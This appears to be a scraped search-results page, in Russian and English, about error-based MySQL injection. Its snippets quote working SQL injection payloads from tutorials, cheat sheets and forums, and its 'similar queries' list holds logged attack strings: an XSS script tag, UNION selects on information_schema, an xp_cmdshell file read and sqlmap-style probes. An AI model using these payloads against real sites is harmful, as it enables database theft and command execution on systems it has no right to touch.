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Oracle How to simplify a select count(*) from (subquery)?

stackoverflow.com

I was asked to try to simplify a count() query but I do not know where to begin, the query is something like this: … I was told that the SELECT COUNT(1) FROM (subquery) can be simplified...

Error based MySQL injection или не надо ругаться / Хабр

habr.com

Поиск текущего пользователя: 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL

PayloadsAllTheThings/MySQL Injection.md at master...

github.com

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema.

Google Переводчик

translate.google.ru

Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.

SQL Инъекции | Page 4 | ANTICHAT - Security online community

forum.antichat.ru

...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast

Учимся на ошибках: методика проведения Error-based...

xakep.ru

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x

Hacking: Error based sql injection tutorial - Double query injection

ultimatehackingarticles.blogspot.com

and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.

MySQL 8.0 Reference Manual :: 12.20.1 Aggregate (GROUP BY)...

dev.mysql.com

InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different

MySQL SQL Injection Practical Cheat Sheet - Perspective Risk

www.perspectiverisk.com

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM database2.table1--. Error Based.

SQL injeCtion : ByPassing WAF (Web Application Firewall) - CyberNinjas

cyb3rninjas.blogspot.com

like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.

Похожие запросы:

"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 6908=(select (case when (6908=2550) then 6908 else (select 2550 union select 3456) end))-- hbpi
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- alwt
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 3956=(select (case when (3956=2163) then 3956 else (select 2163 union select 4524) end))-- hzxq
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- gyij
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- wian
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 9729=(select (case when (9729=1260) then 9729 else (select 1260 union select 2140) end))-- gehw
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- hgjf
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 9901=(select (case when (9901=7115) then 9901 else (select 7115 union select 6880) end))-- pffb

999999.9 //union//all //select /(select/**/5569/**/from(select/**/count(*),concat(0x71786b7171,(select/**/(elt(5569=5569,1))),0x71716a7871,floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)/cast(0x393133353134353632312e39 as c на YouTube:

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